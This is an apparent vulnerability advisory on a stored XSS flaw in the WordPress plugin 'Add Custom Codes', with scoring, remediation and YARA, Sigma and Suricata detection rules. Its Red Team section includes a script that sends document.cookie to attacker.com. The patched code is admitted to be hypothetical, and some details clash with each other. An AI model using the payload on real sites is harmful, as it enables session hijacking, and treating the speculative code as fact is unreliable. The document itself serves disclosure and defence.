CVE-2025-62149

Executive Summary

CVE-2025-62149 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Add Custom Codes" by Saifumak, affecting versions up to and including 4.80. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with high privileges (e.g., Administrator) to inject arbitrary JavaScript code that executes in the context of other users' browsers. This can lead to session hijacking, data theft, or defacement. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported, but the unpatched status increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: Required (victim must view the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires high privileges, but the impact can be significant if an attacker compromises an admin account.

Deep Dive & Mechanics

The vulnerability exists in the "Add Custom Codes" plugin, which allows administrators to inject custom CSS, JavaScript, or HTML into WordPress pages. The plugin fails to properly sanitize or escape user input before storing it in the database and rendering it on the frontend. An attacker with admin access can inject malicious JavaScript code into custom code fields. When other users (including other admins or visitors) load the affected page, the injected script executes in their browser, potentially stealing cookies, session tokens, or performing actions on their behalf.

The root cause is the use of echo or print functions without proper escaping (e.g., esc_html() or wp_kses()) when outputting the custom code content.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.80):

// In a template or function file
echo $custom_code_content; // No sanitization

Patched Code (Hypothetical):

// Properly escape output
echo esc_html( $custom_code_content );
// Or use wp_kses for allowed HTML
echo wp_kses( $custom_code_content, $allowed_html );

The vulnerable code directly outputs user input without escaping, allowing arbitrary HTML/JavaScript injection.

Exploitation & Lab Setup

Red Team

1. Prerequisites: Admin access to a WordPress site with "Add Custom Codes" plugin <= 4.80.
2. Steps:
   • Navigate to the plugin settings (e.g., /wp-admin/admin.php?page=add-custom-codes).
   • In a custom code field, inject a payload such as:

     <script>alert('XSS')</script>
     

   • Save the code.
   • When any user visits the page where the code is rendered, the script executes.
3. Advanced Payload:

   <script>
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   

Blue Team

1. Detection: Monitor for unusual admin actions or unexpected script execution in browser console.
2. Prevention: Restrict admin access to trusted users only. Use Web Application Firewall (WAF) rules to block common XSS patterns.
3. Response: If compromised, revoke all admin sessions, change passwords, and remove malicious code from the database.

Indicators of Compromise (IOCs)

• File Hashes: (None provided; check plugin files for modifications)
• Network Indicators: Outbound connections to unknown domains from WordPress admin pages.
• Log Entries: Unusual admin login times or IP addresses.
• Database Entries: Suspicious <script> tags in the wp_options table or custom post meta.

Detection Engineering

YARA Rule

rule CVE_2025_62149_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Add Custom Codes plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62149"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "add-custom-codes"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Add Custom Codes Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS payloads in WordPress Add Custom Codes plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.response.body|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom codes
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62149 Stored XSS Attempt"; flow:to_server; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the "Add Custom Codes" plugin until a patch is available.
2. Short-term: Restrict admin access to only trusted users. Implement Content Security Policy (CSP) headers to mitigate XSS.
3. Long-term: Apply the vendor patch when released. Consider using alternative plugins with proper input sanitization.
4. Workaround: Manually edit the plugin code to add esc_html() or wp_kses() around output functions.

Valters IT
Securing Digital Frontiers